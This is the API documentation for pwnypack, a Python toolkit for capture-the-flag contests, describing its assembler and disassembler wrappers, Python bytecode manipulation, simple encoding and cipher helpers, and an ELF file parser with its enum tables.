pwny Documentation

Release 0.9.0

Author

Jan 29, 2018

Contents

pwnypack is the official CTF toolkit of Certified Edible Dinosaurs. It aims to provide a set of command line utilities and a python library that are useful when playing hacking CTFs.

The core functionality of *pwnypack* is defined in the modules of the `pwnypack` package. The `pwny` package imports all that functionality into a single namespace for convenience.

Some of the functionality of the `pwnypack` package is also exported through a set of commandline utilities. Run `pwny help` after installing *pwnypack* to get a list of available utilities. You can create convenience symlinks for all the included apps by running `pwny symlink`. Each app has a help function that is accessible using the `-h` parameter.

For some example of how to use *pwnypack*, check the write-ups on the official Certified Edible Dinosaurs website.

Package contents:

CHAPTER 1

pwny package

The `pwny` package provides a convence metapackage that imports the entire public API of *pwnypack* into a single namespace:

```
>>> from pwny import *
>>> enhex(asm('mov rax, 0xced', target=Target(arch=Architecture.x86_64)))
u'b8ed0c0000'
```

For details about what exactly is made available, please consult the documentation of the individual *pwnypack modules*.

CHAPTER 2

pwnypack package

All the functionality of *pwnypack* is implemented in the modules of this package.

2.1 asm – (Dis)assembler

This module contains functions to assemble and disassemble code for a given target platform. By default the keystone engine assembler will be used if it is available. If it's not available (or if the WANT_KEYSTONE environment variable is set and it's not 1, YES or TRUE (case insensitive)), pwnypack falls back to using the *nasm* assembler for nasm syntax on X86 or *GNU as* for any other supported syntax / architecture. Disassembly is performed by *ndisasm* on x86 for nasm syntax. *capstone* is used for any other supported syntax / architecture.

Currently, the only supported architectures are *x86* (both 32 and 64 bits variants) and *arm* (both 32 and 64 bits variants).

class pwnypack.asm.**AsmSyntax**

Bases: enum.IntEnum

This enumeration is used to specify the assembler syntax.

att = 2

AT&T assembler syntax

intel = 1

Intel assembler syntax

nasm = 0

Netwide assembler syntax

pwnypack.asm.**asm**(*code*, *addr=0*, *syntax=None*, *target=None*, *gnu_binutils_prefix=None*)

Assemble statements into machine readable code.

Parameters

- **code** (*str*) – The statements to assemble.
- **addr** (*int*) – The memory address where the code will run.

- **syntax** (AsmSyntax) – The input assembler syntax for x86. Defaults to nasm, ignored on other platforms.
- **target** (Target) – The target architecture. The global target is used if this argument is None.
- **gnu_binutils_prefix** (*str*) – When the syntax is AT&T, gnu binutils' as and ld will be used. By default, it selects arm-*-as/ld for 32bit ARM targets, aarch64-*-as/ld for 64 bit ARM targets, i386-*-as/ld for 32bit X86 targets and amd64-*-as/ld for 64bit X86 targets (all for various flavors of *. This option allows you to pick a different toolchain. The prefix should always end with a '-' (or be empty).

Returns The assembled machine code.

Return type bytes

Raises

- SyntaxError – If the assembler statements are invalid.
- NotImplementedError – In an unsupported target platform is specified.

Example

```
>>> from pwny import *
>>> asm('''
...     pop rdi
...     ret
... ''', target=Target(arch=Target.Arch.x86, bits=64))
b'_\xc3'
```

pwnypack.asm.**disasm**(*code*, *addr=0*, *syntax=None*, *target=None*)

Disassemble machine readable code into human readable statements.

Parameters

- **code** (*bytes*) – The machine code that is to be disassembled.
- **addr** (*int*) – The memory address of the code (used for relative references).
- **syntax** (AsmSyntax) – The output assembler syntax. This defaults to nasm on x86 architectures, AT&T on all other architectures.
- **target** (Target) – The architecture for which the code was written. The global target is used if this argument is None.

Returns The disassembled machine code.

Return type list of str

Raises

- NotImplementedError – In an unsupported target platform is specified.
- RuntimeError – If ndisasm encounters an error.

Example

```
>>> from pwny import *
>>> disasm(b'_\xc3', target=Target(arch=Target.Arch.x86, bits=64))
['pop rdi', 'ret']
```

2.2 bytecode – Python bytecode manipulation

The bytecode module lets you manipulate python bytecode in a version-independent way. To facilitate this, this module provides a couple of function to disassemble and assemble python bytecode into a high-level representation and some functions to manipulate those structures.

The python version independent function take a py_internals parameter which represents the specifics of bytecode on that particular version of python. The *pwnypack.py_internals* module provides these internal specifics for various python versions.

Examples

Disassemble a very simple function, change an opcode and reassemble it:

```
>>> from pwny import *
>>> import six
>>> def foo(a):
>>>     return a - 1
...
>>> print(foo, six.get_function_code(foo).co_code, foo(5))
<function foo at 0x10590ba60> b'|\\d{\S' 4
>>> ops = bc.disassemble(foo)
>>> print(ops)
[LOAD_FAST 0, LOAD_CONST 1, BINARY_SUBTRACT, RETURN_VALUE]
>>> ops[2].name = 'BINARY_ADD'
>>> print(ops)
[LOAD_FAST 0, LOAD_CONST 1, BINARY_ADD, RETURN_VALUE]
>>> bar = bc.rebuild_func_from_ops(foo, ops, co_name='bar')
>>> print(bar, six.get_function_code(bar).co_code, bar(5))
<function bar at 0x10590bb70> b'|\\d{\S' 6
```

class pwnypack.bytecode.**AnnotatedOp**(*code_obj*, *name*, *arg*)

An annotated opcode description. Instances of this class are generated by *CodeObject.disassemble()* if you set its `annotate` argument to `True`.

It contains more descriptive information about the instruction but cannot be translated back into a bytecode operation at the moment.

This class uses the code object's reference to the python internals of the python version that it originated from and the properties of the code object to decode as much information as possible.

Parameters

- **code_obj** (*CodeObject*) – The code object this opcode belongs to.
- **name** (*str*) – The mnemonic of the opcode.
- **arg** (*int*) – The integer argument to the opcode (or `None`).

code = None

The numeric opcode.

code_obj = None
A reference to the *CodeObject* it belongs to.

has_arg = None
Whether this opcode has an argument.

has_compare = None
Whether this opcode's argument is a compare operation.

has_const = None
Whether this opcode's argument is a reference to a constant.

has_free = None
Whether this opcode's argument is a reference to a free or cell var (for closures and nested functions).

has_local = None
Whether this opcode's argument is a reference to a local.

has_name = None
Whether this opcode's argument is a reference to the names table.

name = None
The name of the operation.

class pwnypack.bytecode.**Block**(*label=None*)
A group of python bytecode ops. Produced by *blocks_from_ops()*.

Parameters **label** (*Label*) – The label of this block. Will be `None` for the first block.

label = None
The label the block represents.

next = None
A pointer to the next block.

ops = None
The opcodes contained within this block.

class pwnypack.bytecode.**Op**(*name*, *arg=None*)
Bases: `object`

Describes a single bytecode operation.

Parameters

- **name** (*str*) – The name of the opcode.
- **arg** – The argument of the opcode. Should be `None` for opcodes without arguments, should be a *Label* for opcodes that define a jump, should be an `int` otherwise.

arg = None
The opcode's argument (or `None`).

name = None
The name of the opcode.

class pwnypack.bytecode.**Label**
Bases: `object`

Used to define a label in a series of opcodes.

pwnypack.bytecode.**disassemble**(*code*, *origin=None*)
Disassemble python bytecode into a series of *Op* and *Label* instances.

Parameters

- **code** (*bytes*) – The bytecode (a code object's `co_code` property). You can also provide a function.
- **origin** (*dict*) – The opcode specification of the python version that generated `code`. If you provide `None`, the specs for the currently running python version will be used.

Returns A list of opcodes and labels.

Return type list

`pwnypack.bytecode.`**assemble**(*ops*, *target=None*)

Assemble a set of *Op* and *Label* instance back into bytecode.

Parameters

- **ops** (*list*) – A list of opcodes and labels (as returned by *disassemble()*).
- **target** – The opcode specification of the targeted python version. If this is `None` the specification of the currently running python version will be used.

Returns The assembled bytecode.

Return type bytes

`pwnypack.bytecode.`**blocks_from_ops**(*ops*)

Group a list of *Op* and *Label* instances by label.

Everytime a label is found, a new *Block* is created. The resulting blocks are returned as a dictionary to easily access the target block of a jump operation. The keys of this dictionary will be the labels, the values will be the *Block* instances. The initial block can be accessed by getting the `None` item from the dictionary.

Parameters **ops** (*list*) – The list of *Op* and *Label* instances (as returned by *disassemble()*.

Returns The resulting dictionary of blocks grouped by label.

Return type dict

`pwnypack.bytecode.`**calculate_max_stack_depth**(*ops*, *target=None*)

Calculate the maximum stack depth (and required stack size) from a series of *Op* and *Label* instances. This is required when you manipulate the opcodes in such a way that the stack layout might change and you want to re-create a working function from it.

This is a fairly literal re-implementation of python's stackdepth and stackdepth_walk.

Parameters

- **ops** (*list*) – A list of opcodes and labels (as returned by *disassemble()*).
- **target** – The opcode specification of the targeted python version. If this is `None` the specification of the currently running python version will be used.

Returns The calculated maximum stack depth.

Return type int

class `pwnypack.bytecode.`**CodeObject**(*co_argcount*, *co_kwonlyargcount*, *co_nlocals*, *co_stacksize*, *co_flags*, *co_code*, *co_consts*, *co_names*, *co_varnames*, *co_filename*, *co_name*, *co_firstlineno*, *co_lnotab*, *co_freevars*, *co_cellvars*, *origin=None*)

Bases: `object`

Represents a python code object in a cross python version way. It contains all the properties that exist on code objects on Python 3 (even when run on Python 2).

Parameters

- **co_argcount** – number of arguments (not including , * or keyword only args)

- **co_kwonlyargcount** – The keyword-only argument count of this code.
- **co_nlocals** – number of local variables
- **co_stacksize** – virtual machine stack space required
- **co_flags** – bitmap: 1=optimized | 2=newlocals | 4=*arg | 8=**arg
- **co_code** – string of raw compiled bytecode
- **co_consts** – tuple of constants used in the bytecode
- **co_names** – tuple of names of local variables
- **co_varnames** – tuple of names of arguments and local variables
- **co_filename** – name of file in which this code object was created
- **co_name** – name with which this code object was defined
- **co_firstlineno** – number of first line in Python source code
- **co_lnotab** – encoded mapping of line numbers to bytecode indices
- **co_freevars** – tuple of names of closure variables
- **co_cellvars** – tuple containing the names of local variables that are referenced by nested functions
- **origin** (*dict*) – The opcode specification of the python version that generated the code. If you provide `None`, the specs for the currently running python version will be used.

annotate_op(*op*)

Takes a bytecode operation (*Op*) and annotates it using the data contained in this code object.

Parameters **op** (Op) – An *Op* instance.

Returns An annotated bytecode operation.

Return type *AnnotatedOp*

assemble(*ops*, *target=None*)

Assemble a series of operations and labels into bytecode, analyse its stack usage and replace the bytecode and stack size of this code object. Can also (optionally) change the target python version.

Parameters

- **ops** (*list*) – The opcodes (and labels) to assemble into bytecode.
- **target** – The opcode specification of the targeted python version. If this is `None` the specification of the currently running python version will be used.

Returns A reference to this *CodeObject*.

Return type *CodeObject*

disassemble(*annotate=False*, *blocks=False*)

Disassemble the bytecode of this code object into a series of opcodes and labels. Can also annotate the opcodes and group the opcodes into blocks based on the labels.

Parameters

- **annotate** (*bool*) – Whether to annotate the operations.
- **blocks** (*bool*) – Whether to group the operations into blocks.

Returns A list of *Op* (or *AnnotatedOp*) instances and labels.

Return type list

classmethod from_code(*code*, *co_argcount=BORROW*, *co_kwonlyargcount=BORROW*, *co_nlocals=BORROW*, *co_stacksize=BORROW*, *co_flags=BORROW*, *co_code=BORROW*, *co_consts=BORROW*, *co_names=BORROW*, *co_varnames=BORROW*, *co_filename=BORROW*, *co_name=BORROW*, *co_firstlineno=BORROW*, *co_lnotab=BORROW*, *co_freevars=BORROW*, *co_cellvars=BORROW*)

Create a new instance from an existing code object. The originating internals of the instance will be that of the running python version.

Any properties explicitly specified will be overridden on the new instance.

Parameters

- **code** (*types.CodeType*) – The code object to get the properties of.
- **..** – The properties to override.

Returns A new *CodeObject* instance.

Return type *CodeObject*

classmethod from_function(*f*, **args*, ***kwargs*)

Create a new instance from a function. Gets the code object from the function and passes it and any other specified parameters to *from_code()*.

Parameters **f** (*function*) – The function to get the code object from.

Returns A new *CodeObject* instance.

Return type *CodeObject*

to_code()

Convert this instance back into a native python code object. This only works if the internals of the code object are compatible with those of the running python version.

Returns The native python code object.

Return type types.CodeType

to_function()

Convert this *CodeObject* back into a python function. This only works if the internals of the code object are compatible with those of the running python version.

Returns The newly created python function.

Return type function

2.3 codec – Data transformation

This module contains functions that allow you to manipulate, encode or decode strings and byte sequences.

pwnypack.codec.**xor**(*key*, *data*)

Perform cyclical exclusive or operations on `data`.

The `key` can be a an integer *(0 <= key < 256)* or a byte sequence. If the key is smaller than the provided `data`, the `key` will be repeated.

Parameters

- **key** (*int or bytes*) – The key to xor `data` with.
- **data** (*bytes*) – The data to perform the xor operation on.

Returns The result of the exclusive or operation.

Return type bytes

Examples

```
>>> from pwny import *
>>> xor(5, b'ABCD')
b'DGFA'
>>> xor(5, b'DGFA')
b'ABCD'
>>> xor(b'pwny', b'ABCDEFGHIJKLMNOPQRSTUVWXYZ')
b'15-=51)19=%5=9!)!%=-%!9!)-'
>>> xor(b'pwny', b'15-=51)19=%5=9!)!%=-%!9!)-')
b'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
```

pwnypack.codec.**find_xor_mask**(*data*, *alphabet=None*, *max_depth=3*, *min_depth=0*, *iv=None*)

Produce a series of bytestrings that when XORed together end up being equal to `data` and only contain characters from the giving `alphabet`. The initial state (or previous state) can be given as `iv`.

Parameters

- **data** (*bytes*) – The data to recreate as a series of XOR operations.
- **alphabet** (*bytes*) – The bytestring containing the allowed characters for the XOR values. If `None`, all characters except NUL bytes, carriage returns and newlines will be allowed.
- **max_depth** (*int*) – The maximum depth to look for a solution.
- **min_depth** (*int*) – The minimum depth to look for a solution.
- **iv** (*bytes*) – Initialization vector. If `None`, it will be assumed the operation starts at an all zero string.

Returns A list of bytestrings that, when XOR'ed with `iv` (or just eachother if `iv` is not providede) will be the same as ``data`.

Examples

Produce a series of strings that when XORed together will result in the string 'pwnypack' using only ASCII characters in the range 65 to 96:

```
>>> from pwny import *
>>> find_xor_mask('pwnypack', alphabet=''.join(chr(c) for c in range(65, 97)))
[b'````````', b'AAAAABAA', b'QVOXQCBJ']
>>> xor(xor(b'````````', b'AAAAABAA'), b'QVOXQCBJ')
'pwnypack'
```

pwnypack.codec.**rot13**(*d*)

Rotate all characters in the alphabets A-Z and a-z by 13 positions in the alphabet. This is a *caesar()* shift of 13 along the fixed alphabets `A-Z` and `a-z`.

Parameters **d** (*str*) – The string to the apply the cipher to.

Returns The string with the rot13 cipher applied.

Return type str

Examples

```
>>> rot13('whax')
'junk'
>>> rot13('junk')
'whax'
```

pwnypack.codec.**caesar**(*shift*, *data*, *shift_ranges=('az', 'AZ')*)

Apply a caesar cipher to a string.

The caesar cipher is a substition cipher where each letter in the given alphabet is replaced by a letter some fixed number down the alphabet.

If `shift` is `1`, *A* will become *B*, *B* will become *C*, etc...

You can define the alphabets that will be shift by specifying one or more shift ranges. The characters will than be shifted within the given ranges.

Parameters

- **shift** (*int*) – The shift to apply.
- **data** (*str*) – The string to apply the cipher to.
- **shift_ranges** (*list of str*) – Which alphabets to shift.

Returns The string with the caesar cipher applied.

Return type str

Examples

```
>>> caesar(16, 'Pwnypack')
'Fmdofqsa'
>>> caesar(-16, 'Fmdofqsa')
'Pwnypack'
>>> caesar(16, 'PWNYpack', shift_ranges=('AZ',))
'FMDOpack'
>>> caesar(16, 'PWNYpack', shift_ranges=('Az',))
'`g^iFqsA'
```

pwnypack.codec.**enhex**(*d*, *separator=''*)

Convert bytes to their hexadecimal representation, optionally joined by a given separator.

Parameters

- **d** (*bytes*) – The data to convert to hexadecimal representation.
- **separator** (*str*) – The separator to insert between hexadecimal tuples.

Returns The hexadecimal representation of `d`.

Return type str

Examples

```
>>> from pwny import *
>>> enhex(b'pwnypack')
'70776e797061636b'
>>> enhex(b'pwnypack', separator=' ')
'70 77 6e 79 70 61 63 6b'
```

pwnypack.codec.**dehex**(*d*)

Convert a hexadecimal representation of a byte sequence to bytes. All non-hexadecimal characters will be removed from the input.

Parameters **d** (*str*) – The string of hexadecimal tuples.

Returns The byte sequence represented by d.

Return type bytes

Examples

```
>>> from pwny import *
>>> dehex('70776e797061636b')
b'pwnypack'
>>> dhex('70 77 6e 79 70 61 63 6b')
b'pwnypack'
```

pwnypack.codec.**enb64**(*d*)

Convert bytes to their base64 representation.

Parameters **d** (*bytes*) – The data to convert to its base64 representation.

Returns The base64 representation of d.

Return type str

Example

```
>>> from pwny import *
>>> enb64(b'pwnypack')
'cHdueXBhY2s='
```

pwnypack.codec.**deb64**(*d*)

Convert a base64 representation back to its original bytes.

Parameters **d** (*str*) – The base64 representation to decode.

Returns The bytes represented by d.

Return type bytes

Example

```
>>> from pwny import *
>>> deb64('cHdueXBhY2s=')
b'pwnypack'
```

pwnypack.codec.**enurlform**(*q*)
Convert a dictionary to a URL encoded query string.

Parameters **q** (*dict*) – The query to encode.

Returns The urlencoded representation of q.

Return type str

Example

```
>>> from pwny import *
>>> enurlform({'foo': 'bar', 'baz': ['quux', 'corge']})
'foo=bar&baz=quux&baz=corge'
```

pwnypack.codec.**deurlform**(*d*)
Convert a URL encoded query string to a dictionary.

Parameters **d** (*str*) – The URL encoded query string.

Returns A dictionary containing each key and all its values as a list.

Return type dict

Example

```
>>> from pwny import *
>>> deurlform('foo=bar&baz=quux&baz=corge')
{'foo': ['bar'], 'baz': ['quux', 'corge']}
```

pwnypack.codec.**enurlquote**(*v*, *plus=False*)
Percent encode a string for use in an URL.

Parameters

- **v** (*str*) – The value to percent encode.
- **plus** (*bool*) – Use a plus symbol for spaces, otherwise use %20.

Returns The percent encoded string.

Return type str

Example

```
>>> from pwny import *
>>> enurlquote('Foo Bar/Baz', True)
'Foo+Bar/Baz
```

pwnypack.codec.**deurlquote**(*d*, *plus=False*)
Decode a percent encoded string.

Parameters

- **d** (*str*) – The percent encoded value to decode.
- **plus** (*bool*) – Parse a plus symbol as a space.

Returns The decoded version of the percent encoded of `d`.

Return type str

Example

```
>>> from pwny import *
>>> deurlquote('Foo+Bar/Baz')
'Foo Bar/Baz'
```

pwnypack.codec.**frequency**(*v*)

Perform a frequency analysis on a byte sequence or string.

Parameters **d** (*bytes or str*) – The sequence to analyse.

Returns A dictionary of unique elements in `d` and how often the occur.

Return type dict

Example

```
>>> frequency('pwnypack')
{'a': 1, 'c': 1, 'k': 1, 'n': 1, 'p': 2, 'w': 1, 'y': 1}
```

2.4 `elf` – ELF file parsing

This module contains a parser for, and methods to extract information from ELF files.

class pwnypack.elf.**ELF**(*f=None*)

Bases: *pwnypack.target.Target*

A parser for ELF files. Upon parsing the ELF headers, it will not only fill the ELF specific fields but will also populate the inherited *arch*, *bits* and *endian* properties based on the values it encounters.

Parameters **f** (str, file or `None`) – The (path to) the ELF file to parse.

Example

```
>>> from pwny import *
>>> e = ELF('my-executable')
>>> print(e.machine)
>>> print(e.program_headers)
>>> print(e.section_headers)
>>> print(e.symbols)
```

class **DynamicSectionEntry**(*type_id*, *value*)

Bases: `object`

Contains information about the entry in the .dynamic section.

Parameters

- **type_id** (*int*) – The type id of the .dynamic section entry.

- **value** (*int*) – The value of the .dynamic section entry.

class Flags

Bases: enum.IntEnum

Flags when *type* is *flags*.

bind_now = 8
Non-lazy binding required.

origin = 1
$ORIGIN processing is required.

static_tls = 16
Object uses static thread local storage.

symbolic = 2
Symbol resolution is required.

textrel = 4
Text relocations exist.

class Flags_1

Bases: enum.IntEnum

Flags when *type* is *flags_1*.

confalt = 4096
Object is a configuration alternative.

direct = 256
Direct bindings are enabled.

dispreldne = 16384
Displacement relocation has been completed.

disprelpnd = 32768
Displacement relocation is pending.

edited = 1048576
Object has been modified since it was built.

endfiltee = 8192
Filtee terminates filter's search.

global_ = 2
Unused.

globaudit = 8388608
Global auditing is enabled.

group = 4
Object is a member of a group.

ignmuldef = 131072
Reserved for internal use.

initfirst = 32
Objects' initialization occurs first.

interpose = 512
Object is an interposer.

loadfltr = 16
Make sure filtees are loaded immediately.

nodeflib = 1024
Ignore the default library search path.

nodelete = 8
Object cannot be removed from a process.

nodirect = 65536
Object contains non-direct bindings.

nodump = 2048
Object cannot be dumped.

nohdr = 524288
Reserved for internal use.

noksyms = 262144
Reserved for internal use.

noopen = 64
Object cannot be used with dlopen.

noreloc = 2097152
Reserved for internal use.

now = 1
Perform complete relocation processing.

origin = 128
$ORIGIN processing is required.

singleton = 16777216
Singleton symbols exist.

symintpose = 4194304
Individual symbol interposers exist.

class Posflags_1
Bases: `enum.IntEnum`

Flags when *type* is *ELF.DynamicSectionEntry.Type.posflags_1*.

groupperm = 2
Identify group dependency.

lazyload = 1
Identify lazily loaded dependency.

class Type
Bases: `enum.IntEnum`

Describes the dynamic section entry type.

audit = 1879047932
String table offset defining an audit library.

auxiliary = 2147483645
String table offset that names an auxiliary file.

bind_now = 24
All relocations must be performed before code is executed.

checksum = 1879047672
A checksum of selected sections of the object.

config = 1879047930
String table offset to the path of the configuration file.

debug = 21
Used for debugging.

depaudit = 1879047931
String table offset defining an audit library.

fini = 13
The address of the termination function.

fini_array = 26
Address of array of termination functions.

fini_arraysz = 28
The size of the termination function array.

flags = 30
Flags for this object.

flags_1 = 1879048187
Object-specific flags.

gnu_hash = 1879047925
Address of the GNU hash section.

hash = 4
Address of symbol hash table within SYMTAB.

init = 12
The address of the initialization function.

init_array = 25
Address of array of initialization functions.

init_arraysz = 27
The size of the initialization function array.

jmprel = 23
Address of relocation entries that are only associated with the PLT.

max_postags = 34
Number of dynamic array tags.

moveent = 1879047674
Size of move table entries.

movesz = 1879047675
Total size of move table.

movetab = 1879047934
Address of the move table.

needed = 1
String table offset of the name of a needed dependency.

null = 0
Marks the end of the dynamic section.

pltgot = 3
Address of PLT/GOT.

pltpad = 1879047933
Address of the padding of the PLT.

pltpadsz = 1879047673
Size of padding of the PLT.

pltrel = 20
Type of relocation entry in the PLT table. Either rel or rela.

pltrelsz = 2
Total size of the relocation entries in the PLT.

posflags_1 = 1879047677
State flags applied to next dynamic section entry.

preinit_array = 32
Address of array of pre-initialization functions.

preinit_arraysz = 33
Size of pre-initialization function array.

rel = 17
Similar to rela but with implicit addends.

rela = 7
Address of the relocation table.

relacount = 1879048185
Relative relocation count.

relaent = 9
The size a relocation table entry.

relasz = 8
The size of the relocation table.

relcount = 1879048186
Relative relocation count.

relent = 19
Size of a rel relocation section entry.

relsz = 18
Size of the rel relocation section.

rpath = 15
String table offset of a library search path.

runpath = 29
String table offset of a library search path.

soname = 14
String table offset for the name of the shared object.

sparc_register = 1879048193
STT_SPARC_REGISTER symbol index within the symbol table.

strsz = 10
The size of the string table.

strtab = 5
Address of the string table.

sunw_auxiliary = 1610612749
String table offset for one or more per-symbol, auxiliary filtees.

sunw_cap = 1610612752
Address of the capabilities section.

sunw_capchain = 1610612762
Address of the array of capability family indices.

sunw_capchainent = 1610612765
Size of the capability family index entry size.

sunw_capchainsz = 1610612767
The size of the capability family index array.

sunw_capinfo = 1610612760
Address of capability requirement symbol association table.

sunw_filter = 1610612750
String table offset for one or more per-symbol, standard filtee

sunw_ldmach = 1610612763
Machine architecture of the link-editor that produced this binary.

sunw_rtldinf = 1610612750
Reserved for internal use by the runtime-linker.

sunw_sortent = 1610612755
Size of symbol sort entries.

sunw_strpad = 1610612761
Size of dynamic string table padding.

sunw_symsort = 1610612756
Address of symbol sort section.

sunw_symsortsz = 1610612757
Size of symbol sort section.

sunw_symsz = 1610612754
Combined size of regular and local symbol table.

sunw_symtab = 1610612753
Address of symbol table for local function symbols.

sunw_tlssort = 1610612758
Address of thread local symbol sort section.

sunw_tlssortsz = 1610612759
Size of thread local symbol sort section.

symbolic = 16
Object contains symbolic bindings.

syment = 11
The size of a symbol table entry.

syminent = 1879047679
Size of a sumbol info table entry.

syminfo = 1879047935
Address of the symbol info table.

syminsz = 1879047678
Size of the symbol info table.

symtab = 6
Address of the symbol table.

textrel = 22
One or more relocation entries resides in a read-only segement.

unknown = -1
Unknown dynamic section entry type, check `type_id`.

used = 2147483646
Same as needed.

verdef = 1879048188
Address of the version definition table.

verdefnum = 1879048189
Number of entries in the version definition table.

verneed = 1879048190
Address of the version dependency table.

verneednum = 1879048191
Number of entries in the version dependency table.

type = None
The resolved type of this entry (one of *Type*).

type_id = None
The numerical type of this entry.

value = None
The value of this entry.

class Machine
Bases: `enum.IntEnum`

The target machine architecture.

aarch64 = 183
64-bit Advanced RISC Machines ARM

alpha = 41
Digital Alpha

arc = 45
Argonaut RISC Core, Argonaut Technologies Inc.

arc_a5 = 93
ARC Cores Tangent-A5

arca = 109
Arca RISC Microprocessor

arm = 40
Advanced RISC Machines ARM

avr = 83
Atmel AVR 8-bit microcontroller

blackfin = 106
Analog Devices Blackfin (DSP) processor

coldfire = 52
Motorola ColdFire

cr = 103
National Semiconductor CompactRISC microprocessor

cris = 76
Axis Communications 32-bit embedded processor

d10v = 85
Mitsubishi D10V

d30v = 86
Mitsubishi D30V

f2mc16 = 104
Fujitsu F2MC16

firepath = 78
Element 14 64-bit DSP Processor

fr20 = 37
Fujitsu FR20

fr30 = 84
Fujitsu FR30

fx66 = 66
Siemens FX66 microcontroller

h8_300 = 46
Hitachi H8/300

h8_300h = 47
Hitachi H8/300H

h8_500 = 49
Hitachi H8/500

h8s = 48
Hitachi H8S

huany = 81
Harvard University machine-independent object files

i386 = 3
Intel 80386

i860 = 7
Intel 80860

i960 = 19
Intel 80960

ia64 = 50
Intel IA-64 processor architecture

ip2k = 101
Ubicom IP2xxx microcontroller family

javelin = 77
Infineon Technologies 32-bit embedded processor

m32 = 1
AT&T WE 32100

m32r = 88
Mitsubishi M32R

m68hc05 = 72
Motorola MC68HC05 Microcontroller

m68hc08 = 71
Motorola MC68HC08 Microcontroller

m68hc11 = 70
Motorola MC68HC11 Microcontroller

m68hc12 = 53
Motorola M68HC12

m68hc16 = 69
Motorola MC68HC16 Microcontroller

m68k = 4
Motorola 68000

m88k = 5
Motorola 88000

max = 102
MAX Processor

me16 = 59
Toyota ME16 processor

mips = 8
MIPS I Architecture

mips_rs3_le = 10
MIPS RS3000 Little-endian

mipsx = 51
Stanford MIPS-X

mma = 54
Fujitsu MMA Multimedia Accelerator

mmix = 80
Donald Knuth's educational 64-bit processor

mn10200 = 90
Matsushita MN10200

mn10300 = 89
Matsushita MN10300

msp430 = 105
Texas Instruments embedded microcontroller msp430

ncpu = 56
Sony nCPU embedded RISC processor

ndr1 = 57
Denso NDR1 microprocessor

none = 0
No machine

ns32k = 97
National Semiconductor 32000 series

openrisc = 92
OpenRISC 32-bit embedded processor

parisc = 15
Hewlett-Packard PA-RISC

pcp = 55
Siemens PCP

pdp10 = 64
Digital Equipment Corp. PDP-10

pdp11 = 65
Digital Equipment Corp. PDP-11

pdsp = 63
Sony DSP Processor

pj = 91
picoJava

ppc = 20
PowerPC

ppc64 = 21
64-bit PowerPC

prism = 82
SiTera Prism

rce = 39
Motorola RCE

rh32 = 38
TRW RH-32

s370 = 9
IBM System/370 Processor

s390 = 22
IBM System/390 Processor

se_c33 = 107
S1C33 Family of Seiko Epson processors

sep = 108
Sharp embedded microprocessor

snp1k = 99
Trebia SNP 1000 processor

sparc = 2
SPARC

sparc32plus = 18
Enhanced instruction set SPARC

sparcv9 = 43
SPARC Version 9

st100 = 60
STMicroelectronics ST100 processor

st19 = 74
STMicroelectronics ST19 8-bit microcontroller

st200 = 100
STMicroelectronics ST200 microcontroller

st7 = 68
STMicroelectronics ST7 8-bit microcontroller

st9plus = 67
STMicroelectronics ST9+ 8/16 bit microcontroller

starcore = 58
Motorola Star*Core processor

superh = 42
Hitachi SuperH

svx = 73
Silicon Graphics SVx

tinyj = 61
Advanced Logic Corp. TinyJ embedded processor family

tmm_gpp = 96
Thompson Multimedia General Purpose Processor

tpc = 98
Tenor Network TPC processor

tricore = 44
Siemens TriCore embedded processor

unicore = 110
Microprocessor series from PKU-Unity Ltd. and MPRC of Peking University

unknown = -1
Unknown architecture

v800 = 36
NEC V800

v850 = 87
NEC v850

vax = 75
Digital VAX

videocore = 95
Alphamosaic VideoCore processor

vpp550 = 17
Fujitsu VPP500

x86_64 = 62
AMD x86-64 architecture

xtensa = 94
Tensilica Xtensa Architecture

zsp = 79
LSI Logic 16-bit DSP Processor

class OSABI
Bases: `enum.IntEnum`

Describes the OS- or ABI-specific ELF extensions used by this file.

aix = 7
AIX ABI

arch = 64
Architecture specific ABI

arm = 97
ARM ABI

aros = 15
Amiga Research OS

freebsd = 9
FreeBSD ABI

hp_ux = 1
HP-UX ABI

irix = 8
IRIX ABI

linux = 3
Linux ABI

modesto = 11
Novell Modesto

netbsd = 2
NetBSD ABI

nsk = 14
Hewlett-Packard Non-Stop Kernel

openbsd = 12
OpenBSD ABI

openvms = 13
OpenVMS ABI

solaris = 6
Solaris ABI

system_v = 0
SystemV ABI / No extensions

tru64 = 10
Compaq TRU64 Unix

unknown = -1
Unknown ABI

class ProgramHeader(*elf*, *data*)
Bases: `object`

Describes how the loader will load a part of a file. Called by the *ELF* class.

Parameters

- **elf** (ELF) – The ELF instance owning this program header.
- **data** – The content of the program header entry.

class Flags

Bases: enum.IntEnum

The individual flags that make up *ELF.ProgramHeader.flags*.

r = 4
Segment is readable

w = 2
Segment is writable

x = 1
Segment is executable

class Type

Bases: enum.IntEnum

The segment type.

dynamic = 2
The element contains dynamic linking information

gnu_eh_frame = 1685382480
This element contains the exception handler unwind information

gnu_relro = 1685382482
This element contains the readonly relocations

gnu_stack = 1685382481
This element describes the access right of the stack

interp = 3
The element contains the path of the interpreter

load = 1
The element contains a loadable segment

note = 4
The element contains auxiliary information

null = 0
The element is unused

phdr = 6
This element contains the program header table itself

shlib = 5
This element type is reserved

unknown = -1
Unknown type, check type_id for exact type

align = None
The alignment of the segment.

filesz = None
The size of the segment in the file.

flags = None
The flags for the segment (OR'ed values of *Flags*).

memsz = None
The size of the segment in memory.

offset = None
Where in the file the segment is located.

paddr = None
The physical address at which the segment is loaded.

type = None
The type of the segment (*Type*).

type_id = None
The numerical type describing the segment.

vaddr = None
The virtual address at which the segment is loaded.

class SectionHeader(*elf*, *data*)
Bases: object

Describes a section of an ELF file. Called by the *ELF* class.

Parameters

- **elf** (ELF) – The ELF instance owning this section header.
- **data** – The content of the section header entry.

class Flags
Bases: enum.IntEnum

An enumeration.

alloc = 2
Section occupies memory during execution

exclude = 2147483648
Exclude section from linking

execinstr = 4
Section contains executable code

group = 512
Section is member of a group

info_link = 64
Section's *info* field contains SHT index

link_order = 128
Preserve section order after combining

maskos = 267386880
Mask for OS specific flags

maskproc = 4026531840
Mask for processor specific flags

merge = 16
Section might be merged

ordered = 1073741824
Treat sh_link, sh_info specially

os_nonconforming = 256
Non-standard OS-specific handling required

strings = 32
Section contains NUL terminated strings

tls = 1024
Section holds thread-local data

write = 1
Section is writable

class Type
Bases: `enum.IntEnum`

Describes the section's type

checksum = 1879048184
Checksum for DSO content

dynamic = 6
Dynamic linking information

dynsym = 11
Minimal symbol table for dynamic linking

fini_array = 15
Array of termination functions

gnu_attributes = 1879048181
GNU extension – Object attributes

gnu_hash = 1879048182
GNU extension – GNU-style hash section

gnu_liblist = 1879048183
GNU extension – Pre-link library list

